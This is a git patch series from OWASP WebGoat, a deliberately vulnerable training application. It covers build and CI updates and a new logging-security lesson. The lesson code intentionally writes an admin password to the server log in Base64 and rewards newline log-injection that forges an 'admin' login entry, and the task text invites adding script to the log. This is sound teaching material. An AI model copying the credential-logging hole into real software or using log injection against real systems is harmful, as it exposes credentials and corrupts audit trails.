-16,11 +16,11 @@ java \ --add-opens java.desktop/java.awt.font=ALL-UNNAMED \ --add-opens java.base/sun.nio.ch=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ - -jar webgoat.jar --webgoat.build.version="$1" --server.address=0.0.0.0 > webgoat.log & + -jar webgoat.jar --server.address=0.0.0.0 > webgoat.log & echo "Starting WebWolf..." -java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webwolf.log & +java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --server.address=0.0.0.0 > webwolf.log & echo "Browse to http://localhost to get started" >> webgoat.log -tail -300f webgoat.log +exec tail -300f webgoat.log diff --git a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java b/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java index 30b2a153b..99396b122 100644 --- a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java +++ b/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java @@ -50,26 +50,26 @@ public class StartWebGoat extends SpringBootServletInitializer { public static void main(String[] args) { log.info("Starting WebGoat with args: {}", StringUtils.arrayToCommaDelimitedString(args)); System.setProperty("spring.config.name", "application-webgoat"); - - String webgoatPort = System.getenv("WEBGOAT_PORT"); - String databasePort = System.getenv("WEBGOAT_HSQLPORT"); - String webGoatHost = null==System.getenv("WEBGOAT_HOST")?"127.0.0.1":System.getenv("WEBGOAT_HOST"); - int goatPort = webgoatPort == null?8080:Integer.parseInt(webgoatPort); - int dbPort = databasePort == null?9001:Integer.parseInt(databasePort); - + + String webgoatPort = System.getenv("WEBGOAT_PORT"); + String databasePort = System.getenv("WEBGOAT_HSQLPORT"); + String webGoatHost = null == System.getenv("WEBGOAT_HOST") ? "127.0.0.1" : System.getenv("WEBGOAT_HOST"); + int goatPort = webgoatPort == null ? 8080 : Integer.parseInt(webgoatPort); + int dbPort = databasePort == null ? 9001 : Integer.parseInt(databasePort); + if (isAlreadyRunning(webGoatHost, goatPort)) { - log.error("Port {}:{} is already in use", webGoatHost, goatPort); - System.out.println("Port "+webGoatHost+":"+goatPort+" is in use. Use environment value WEBGOAT_PORT to set a different value."); - System.exit(-1); + log.error("Port {}:{} is already in use", webGoatHost, goatPort); + System.out.println("Port " + webGoatHost + ":" + goatPort + " is in use. Use environment value WEBGOAT_PORT to set a different value."); + System.exit(-1); } if (isAlreadyRunning(webGoatHost, dbPort)) { - log.error("Port {}:{} is already in use", webGoatHost, goatPort); - System.out.println("Port "+webGoatHost+":"+goatPort+" is in use. Use environment value WEBGOAT_HSQLPORT to set a different value."); - System.exit(-1); + log.error("Port {}:{} is already in use", webGoatHost, goatPort); + System.out.println("Port " + webGoatHost + ":" + goatPort + " is in use. Use environment value WEBGOAT_HSQLPORT to set a different value."); + System.exit(-1); } SpringApplication.run(StartWebGoat.class, args); } - + private static boolean isAlreadyRunning(String host, int port) { try (var ignored = new Socket(host, port)) { return true; diff --git a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java index 1b045d45c..029268003 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java +++ b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java @@ -26,10 +26,12 @@ import java.io.IOException; import java.net.Socket; import org.owasp.webwolf.requests.WebWolfTraceRepository; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.SpringApplication; import org.springframework.boot.actuate.trace.http.HttpTraceRepository; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Profile; @SpringBootApplication public class WebWolf { @@ -42,22 +44,21 @@ public class WebWolf { public static void main(String[] args) { System.setProperty("spring.config.name", "application-webwolf"); - String webwolfPort = System.getenv("WEBWOLF_PORT"); - String webGoatHost = null==System.getenv("WEBGOAT_HOST")?"127.0.0.1":System.getenv("WEBGOAT_HOST"); - String webWolfHost = null==System.getenv("WEBWOLF_HOST")?"127.0.0.1":System.getenv("WEBWOLF_HOST"); + String webwolfPort = System.getenv("WEBWOLF_PORT"); + String webWolfHost = null == System.getenv("WEBWOLF_HOST") ? "127.0.0.1" : System.getenv("WEBWOLF_HOST"); String fileEncoding = System.getProperty("file.encoding"); - int wolfPort = webwolfPort == null?9090:Integer.parseInt(webwolfPort); - - if (null==fileEncoding || !fileEncoding.equals("UTF-8")) { - System.out.println("It seems the application is startd on a OS with non default UTF-8 encoding:"+fileEncoding); - System.out.println("Please add: -Dfile.encoding=UTF-8"); - System.exit(-1); + int wolfPort = webwolfPort == null ? 9090 : Integer.parseInt(webwolfPort); + + if (null == fileEncoding || !fileEncoding.equals("UTF-8")) { + System.out.println("It seems the application is started on a OS with non default UTF-8 encoding:" + fileEncoding); + System.out.println("Please add: -Dfile.encoding=UTF-8"); + System.exit(-1); } - if (isAlreadyRunning(webGoatHost, wolfPort)) { - System.out.println("Port "+webWolfHost+":"+wolfPort+" is in use. Use environment value WEBWOLF_PORT to set a different value."); - System.exit(-1); + if (isAlreadyRunning(webWolfHost, wolfPort)) { + System.out.println("Port " + webWolfHost + ":" + wolfPort + " is in use. Use environment value WEBWOLF_PORT to set a different value."); + System.exit(-1); } SpringApplication.run(WebWolf.class, args); } From 76af488d163e24131d6d6d696e6ee7cfc0f2268c Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 12:57:01 +0200 Subject: [PATCH 074/227] Move Github actions to same image as Docker run on --- .github/workflows/branch_build.yml | 2 +- .github/workflows/pr_build.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index efd8a34de..23b5f4d97 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -15,7 +15,7 @@ jobs: - name: set up JDK 16 uses: actions/setup-java@v2 with: - distribution: 'zulu' + distribution: 'temurin' java-version: 16 architecture: x64 - name: Cache Maven packages diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index 358cf76b7..38ba4214a 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -33,7 +33,7 @@ jobs: - name: Set up JDK ${{ matrix.java }} uses: actions/setup-java@v2 with: - distribution: 'zulu' + distribution: 'temurin' java-version: ${{ matrix.java }} architecture: x64 - name: Cache Maven packages From e709a501cb54d01c38d67ad03d975d74485b0b7f Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 13:12:48 +0200 Subject: [PATCH 075/227] Remove develop from branches to build The PR already works on a merge commit with develop no need to build it once more afterwards --- .github/workflows/pr_build.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index 38ba4214a..8c31118f7 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -10,7 +10,6 @@ on: push: branches: - master - - develop - release/* tags-ignore: - '*' From ad97e2c9a3ec9e5385258bf29492982b9e6f8aa8 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 13:30:21 +0200 Subject: [PATCH 076/227] Remove activation dependency --- webgoat-container/pom.xml | 5 ----- 1 file changed, 5 deletions(-) diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index b6cdb2928..f8f81365c 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -48,11 +48,6 @@ - - javax.activation - activation - ${activation.version} - org.springframework.boot spring-boot-starter-actuator From 6a92f651f8f56c6d43bea35ffc52554e5c6ed4bb Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 14:03:28 +0200 Subject: [PATCH 077/227] Move to Java 17 --- .github/workflows/branch_build.yml | 10 +++++----- .github/workflows/pr_build.yml | 2 +- docker/Dockerfile | 2 +- pom.xml | 11 +++-------- 4 files changed, 10 insertions(+), 15 deletions(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index 23b5f4d97..3cf875c61 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -12,11 +12,11 @@ jobs: name: "Package and linting" steps: - uses: actions/checkout@v2 - - name: set up JDK 16 + - name: set up JDK 17 uses: actions/setup-java@v2 with: distribution: 'temurin' - java-version: 16 + java-version: 17 architecture: x64 - name: Cache Maven packages uses: actions/cache@v2.1.5 @@ -38,11 +38,11 @@ jobs: - mvn -pl webgoat-integration-tests test steps: - uses: actions/checkout@v2 - - name: set up JDK 16 + - name: set up JDK 17 uses: actions/setup-java@v2 with: - distribution: 'zulu' - java-version: 16 + distribution: 'temurin' + java-version: 17 architecture: x64 - name: Cache Maven packages uses: actions/cache@v2.1.5 diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index 8c31118f7..1b50e0aa8 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -26,7 +26,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, windows-latest, macos-latest] - java: [16] + java: [17] steps: - uses: actions/checkout@v2 - name: Set up JDK ${{ matrix.java }} diff --git a/docker/Dockerfile b/docker/Dockerfile index fda1ab0aa..83fd7470d 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,4 +1,4 @@ -FROM eclipse-temurin:16.0.2_7-jdk-focal +FROM eclipse-temurin:17_35-jdk-focal RUN apt-get update RUN useradd -ms /bin/bash webgoat diff --git a/pom.xml b/pom.xml index f0923b89a..5dcb91c7a 100644 --- a/pom.xml +++ b/pom.xml @@ -19,10 +19,6 @@ 2006 https://github.com/WebGoat/WebGoat - - 3.2.5 - - OWASP https://github.com/WebGoat/WebGoat/ @@ -114,11 +110,10 @@ UTF-8 UTF-8 - 15 - 15 + 17 + 17 - 1.1.1 2.5.2 3.2.1 3.12.0 @@ -132,7 +127,7 @@ 3.1.1 3.1.0 3.0.0-M5 - 15 + 17 From 6a875bdaa67e321590f776547b15b8de97fe1c60 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 24 Oct 2021 14:06:56 +0200 Subject: [PATCH 078/227] Add new developer --- pom.xml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/pom.xml b/pom.xml index 5dcb91c7a..143eef96a 100644 --- a/pom.xml +++ b/pom.xml @@ -56,6 +56,11 @@ René Zubcevic rene.zubcevic@owasp.org + + aolle + Àngel Ollé Blázquez + angel@olleb.com + jwayman Jeff Wayman From 36bdd9b1a0c1177b561d9c4f55e6c141e981baba Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 30 Oct 2021 22:45:18 +0200 Subject: [PATCH 079/227] Rename master to main --- .github/workflows/branch_build.yml | 2 +- .github/workflows/pr_build.yml | 2 +- CREATE_RELEASE.MD | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/branch_build.yml b/.github/workflows/branch_build.yml index 3cf875c61..ff1533f34 100644 --- a/.github/workflows/branch_build.yml +++ b/.github/workflows/branch_build.yml @@ -2,7 +2,7 @@ name: "Branch build" on: push: branches-ignore: - - master + - main - develop - release/* jobs: diff --git a/.github/workflows/pr_build.yml b/.github/workflows/pr_build.yml index 1b50e0aa8..9823a87b2 100644 --- a/.github/workflows/pr_build.yml +++ b/.github/workflows/pr_build.yml @@ -9,7 +9,7 @@ on: - 'docs/**' push: branches: - - master + - main - release/* tags-ignore: - '*' diff --git a/CREATE_RELEASE.MD b/CREATE_RELEASE.MD index 1515aa3cd..9daf57065 100644 --- a/CREATE_RELEASE.MD +++ b/CREATE_RELEASE.MD @@ -23,7 +23,7 @@ git flow release publish git flow release finish git push origin develop -git push origin master +git push origin main git push --tags ``` From 1a64fcd8d43811e94618031e9fbe2bca47b87572 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Tue, 16 Nov 2021 16:11:23 +0100 Subject: [PATCH 080/227] Recommit logging lesson as PR got a lot of conflicts --- webgoat-lessons/logging/pom.xml | 25 +++++++ .../webgoat/logging/LogBleedingTask.java | 66 +++++++++++++++++++ .../owasp/webgoat/logging/LogSpoofing.java | 47 +++++++++++++ .../webgoat/logging/LogSpoofingTask.java | 51 ++++++++++++++ .../src/main/resources/html/LogSpoofing.html | 55 ++++++++++++++++ .../resources/i18n/WebGoatLabels.properties | 2 + .../lessonPlans/en/logReading_Task.adoc | 5 ++ .../lessonPlans/en/logSpoofing_Task.adoc | 5 ++ .../lessonPlans/en/logging_intro.adoc | 13 ++++ .../lessonPlans/en/more_logging.adoc | 32 +++++++++ .../en/sensitive_logging_intro.adoc | 36 ++++++++++ webgoat-lessons/pom.xml | 1 + 12 files changed, 338 insertions(+) create mode 100755 webgoat-lessons/logging/pom.xml create mode 100644 webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogBleedingTask.java create mode 100644 webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofing.java create mode 100644 webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofingTask.java create mode 100755 webgoat-lessons/logging/src/main/resources/html/LogSpoofing.html create mode 100755 webgoat-lessons/logging/src/main/resources/i18n/WebGoatLabels.properties create mode 100644 webgoat-lessons/logging/src/main/resources/lessonPlans/en/logReading_Task.adoc create mode 100755 webgoat-lessons/logging/src/main/resources/lessonPlans/en/logSpoofing_Task.adoc create mode 100755 webgoat-lessons/logging/src/main/resources/lessonPlans/en/logging_intro.adoc create mode 100644 webgoat-lessons/logging/src/main/resources/lessonPlans/en/more_logging.adoc create mode 100644 webgoat-lessons/logging/src/main/resources/lessonPlans/en/sensitive_logging_intro.adoc diff --git a/webgoat-lessons/logging/pom.xml b/webgoat-lessons/logging/pom.xml new file mode 100755 index 000000000..515b25f51 --- /dev/null +++ b/webgoat-lessons/logging/pom.xml @@ -0,0 +1,25 @@ + + 4.0.0 + logging + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + 8.2.3-SNAPSHOT + + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.security + spring-security-test + test + + + + diff --git a/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogBleedingTask.java b/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogBleedingTask.java new file mode 100644 index 000000000..3a0949218 --- /dev/null +++ b/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogBleedingTask.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.logging; + +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AttackResult; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.PostConstruct; +import java.util.Base64; + +import java.nio.charset.StandardCharsets; +import java.util.UUID; + +@RestController +public class LogBleedingTask extends AssignmentEndpoint { + + Logger log = LoggerFactory.getLogger(this.getClass().getName()); + private String password; + + @PostConstruct + public void generatePassword(){ + password = UUID.randomUUID().toString(); + log.info("Password for admin: {}", Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8))); + } + + @PostMapping("/LogSpoofing/log-bleeding") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username) || Strings.isEmpty(password)) { + return failed(this).output("Please provide username (Admin) and password").build(); + } + + if (username.equals("Admin") && password.equals(this.password)) { + return success(this).build(); + } + + return failed(this).build(); + } +} diff --git a/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofing.java b/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofing.java new file mode 100644 index 000000000..ccf32eae6 --- /dev/null +++ b/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofing.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.logging; + +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2014 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class LogSpoofing extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.INSECURE_CONFIGURATION; + } + + @Override + public String getTitle() { + return "logging.title"; + } +} diff --git a/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofingTask.java b/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofingTask.java new file mode 100644 index 000000000..193a5ab73 --- /dev/null +++ b/webgoat-lessons/logging/src/main/java/org/owasp/webgoat/logging/LogSpoofingTask.java @@ -0,0 +1,51 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.logging; + +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class LogSpoofingTask extends AssignmentEndpoint { + + @PostMapping("/LogSpoofing/log-spoofing") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username)) { + return failed(this).output(username).build(); + } + username = username.replace("\n", "
"); + if (username.contains("

") || username.contains("

")) { + return failed(this).output("Try to think of something simple ").build(); + } + if (username.indexOf("
") < username.indexOf("admin")) { + return success(this).output(username).build(); + } + return failed(this).output(username).build(); + } +} diff --git a/webgoat-lessons/logging/src/main/resources/html/LogSpoofing.html b/webgoat-lessons/logging/src/main/resources/html/LogSpoofing.html new file mode 100755 index 000000000..50907ad78 --- /dev/null +++ b/webgoat-lessons/logging/src/main/resources/html/LogSpoofing.html @@ -0,0 +1,55 @@ + + + + +
+ + +
+
+ +
+ +
+
+
+
+ + + + + + +
+ Log output: +
Login failed for username:

+
+
+
+
+
+
+
+
+
+
+ + + + + + +
+
+
+
+
+
+
+ diff --git a/webgoat-lessons/logging/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/logging/src/main/resources/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..3bb38d82c --- /dev/null +++ b/webgoat-lessons/logging/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,2 @@ +logging.title=Logging Security + diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logReading_Task.adoc b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logReading_Task.adoc new file mode 100644 index 000000000..bbff01af7 --- /dev/null +++ b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logReading_Task.adoc @@ -0,0 +1,5 @@ +=== Let's try + +- Some servers provide Administrator credentials at the boot-up of the server. +- The goal of this challenge is to find the secret in the application log of the WebGoat server to login as the Admin user. +- Note that we tried to "protect" it. Can you decode it? \ No newline at end of file diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logSpoofing_Task.adoc b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logSpoofing_Task.adoc new file mode 100755 index 000000000..c1d11a2bc --- /dev/null +++ b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logSpoofing_Task.adoc @@ -0,0 +1,5 @@ +=== Let's try + +- The goal of this challenge is to make it look like username "admin" succeeded in logging in. +- The red area below shows what will be logged in the web server's log file. +- Want to go beyond? Try to elevate your attack by adding a script to the log file. diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logging_intro.adoc b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logging_intro.adoc new file mode 100755 index 000000000..3e35bf96e --- /dev/null +++ b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logging_intro.adoc @@ -0,0 +1,13 @@ + +== Concept +Logging is very important for modern systems. We use it for various reasons: + +- Application monitoring and debugging. +- Audit logging: E.g. record specific actions of your users and systems. +- Security Event Monitoring: e.g. provide information to a SIEM or SOAR system that will trigger based on the information provided in these logs. + +== Goals +* The user should have a basic understanding of logging and where to log for. +* The user understands the risks of log spoofing and leaking log information. +* The user will be able to do a simple log spoofing attack. +* The user will be able to tell the basic risks involved in logging. diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/more_logging.adoc b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/more_logging.adoc new file mode 100644 index 000000000..e33639908 --- /dev/null +++ b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/more_logging.adoc @@ -0,0 +1,32 @@ +=== More About Logging (2) + +By now it should be clear that using simple encoding/decoding is not a way to protect sensitive information in a log. Instead, it is better to use different techniques: not logging the data at all, blanking it out, or encrypting it with another shared secret. + +There are a few more topics we might want to cover here: + +- How to work with log-levels +- How to do Exception Handling +- How to use logging for other purposes +- Some resources to read up on. + +==== Log Levels +Explain log levels + +==== Exception Handling + exception handling (maybe an example of logging exception towards the client with cryptography and why this is a bad idea) + + +==== Audit Logging, Security Event Monitoring, and Application Logs +Note that logging is often used for more than just application debugging. Application logs are often used as a feed for other purposes, think of: + + - *Audit logging*: Specific events need to be recorded by your application log to create a trail that can be used to reconstruct the actions done on behalf of/by your user. This can later be used, for instance, in court to prove what happened in case of a dispute. + - *Security Event Monitoring (SEM)*: Events generated by your application can often be used by your security department to understand what is going on in the application landscape of the organization. There are various types of events as well as various attributes that can play a role to detect whether the organization is in trouble. For instance: a privileged administrative logon that is only used as a break-glass procedure can already be a very valuable event for them. Another example: While frequently used administrative logons are good to record, they might not trigger an event at the security department by themselves, unless a completely different location is used for that administrative role. A threat model exercise with your security department can often help to understand which types of logs they require, and what they should trigger a security alert on immediately. + - *Fraud Detection*: your application logs can help in fraud detection. For instance: logs that show that someone is trying to move around more money than that they have, could indicate something is going wrong. + - *Business Process Monitoring*: your application logs can be used to see if the business processes are still progressing as they should. For instance: the lack of new events further down a process could indicate that the business process has stopped. This can be valuable information to the business when it comes to steering the company. + - *And many more*... + +Note that a lot of these logging purposes differ quite a lot from each other! Therefore it is best to separate your application (debug) logging, from your SEM, and audit logs in terms of output by your application, storage and processing of the logs within your organization. + +==== More reading + +- link:https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html[The OWASP Logging Cheat sheet] \ No newline at end of file diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/sensitive_logging_intro.adoc b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/sensitive_logging_intro.adoc new file mode 100644 index 000000000..31e01dfb4 --- /dev/null +++ b/webgoat-lessons/logging/src/main/resources/lessonPlans/en/sensitive_logging_intro.adoc @@ -0,0 +1,36 @@ +=== More About Logging + +As you can tell by now, log-spoofing can become an issue when users try to spoof logs. There are various ways to do this other than a form-post. Think of URL parameters or crafted JSON payloads for instance. Therefore, it is important to do + +- apply proper input-sanitization +- make sure you can establish source authenticity and implement integrity controls to detect log-tampering. +- make sure that a user cannot inject logs from any channel +- make sure that the log storage is protected + +But there is more to log security than just sanitization against spoofing attacks. Let's have a look at logging sensitive information. + +==== Logging Sensitive Information + +In the previous exercise, we saw only the username passing by, but no password. Why? Because we want to make sure that an application log does not contain any sensitive information. Let's make sure that when our logs get compromised, we do not have to fear authentication information to be reused. + +Similarly, we should not log any other sensitive information, such as symmetric or private keys, access tokens, and such. + +==== Logging Personal Information + +Be careful with logging personal information. For instance: do not log bank account details, personally identifiable information to which a user did not consent having it logged. Do not log facts that can establish the identity of the subject being logged. + +What you basically want to prevent, is that people use the logs to profile people or spy on them. You want to protect the privacy of the subjects using your system. + +===== Special case: Access Logs + +One special case is always the access logs offered by your ingress and/or application server. These logs should contain at least a few things: Where the request came from, when the request was made, and possibly what the response code was. Additional information can be shared in an access log, depending on the security of the log. For instance: you don't want to share the raw request in the access logs to safeguard the privacy of your users. + +And here the problem often starts: access logs sometimes capture the full URL used for the request. This can include sensitive URL parameters. Therefore: be careful with what you put in the URL as parameters & let's make sure that you do not log those in an openly accessible log. + + +==== Read more + +Want to read up on more about logging? Have a look at: + +- link:https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html[The OWASP Logging Cheat sheet] +- link:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation#Principles[GDPR article at Wikipedia] \ No newline at end of file diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index cdcad2a46..60879b20b 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -42,6 +42,7 @@ crypto path-traversal spoof-cookie + From fa2769cb25e6b71aa0c9344eaf65b96bb8dd6bf1 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Tue, 16 Nov 2021 16:12:39 +0100 Subject: [PATCH 081/227] Updating poms --- webgoat-lessons/pom.xml | 2 +- webgoat-server/pom.xml | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 60879b20b..5dd6d505f 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -42,7 +42,7 @@ crypto path-traversal spoof-cookie - + diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 1feceb309..ae1315ab5 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -159,6 +159,11 @@ webgoat-lesson-template ${project.version} + + org.owasp.webgoat.lesson + logging + ${project.version} + org.springframework.boot spring-boot-devtools From c7e04cef97a8c4eacda9a035332261ce54fa531f Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 16 Nov 2021 16:22:33 +0100 Subject: [PATCH 082/227] Add logging to pom.xml --- webgoat-lessons/pom.xml | 1 + 1 file changed, 1 insertion(+) diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 5dd6d505f..f483656ae 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -42,6 +42,7 @@ crypto path-traversal spoof-cookie + logging From 22af35a9a7d6c7e14d9c04c59e87efdebbe2f09d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 31 Oct 2021 20:44:21 +0100 Subject: [PATCH 083/227] Add favicon to WebGoat/WebWolf --- .../main/resources/static/css/img/favicon.ico | Bin 0 -> 10656 bytes .../src/main/resources/templates/login.html | 1 + .../src/main/resources/templates/main_new.html | 2 +- .../main/resources/static/css/img/favicon.ico | Bin 0 -> 1032 bytes .../resources/templates/fragments/footer.html | 5 +---- .../resources/templates/fragments/header.html | 4 +--- webwolf/src/main/resources/templates/home.html | 1 + webwolf/src/main/resources/templates/login.html | 1 + 8 files changed, 6 insertions(+), 8 deletions(-) create mode 100644 webgoat-container/src/main/resources/static/css/img/favicon.ico create mode 100644 webwolf/src/main/resources/static/css/img/favicon.ico diff --git a/webgoat-container/src/main/resources/static/css/img/favicon.ico b/webgoat-container/src/main/resources/static/css/img/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..bcacd934e324f2837d40199c79484947015e27b6 GIT binary patch literal 10656 zcmV;RDPPu!P)004R>004l5008;`004mK004C`008P>0026e000+ooVrmw00006 zVoOIv0RI600RN!9r;`8x00(qQO+^Rg3LgzKEC&4Lc>n+?K}keGRCwC$yjjp?*LC0b 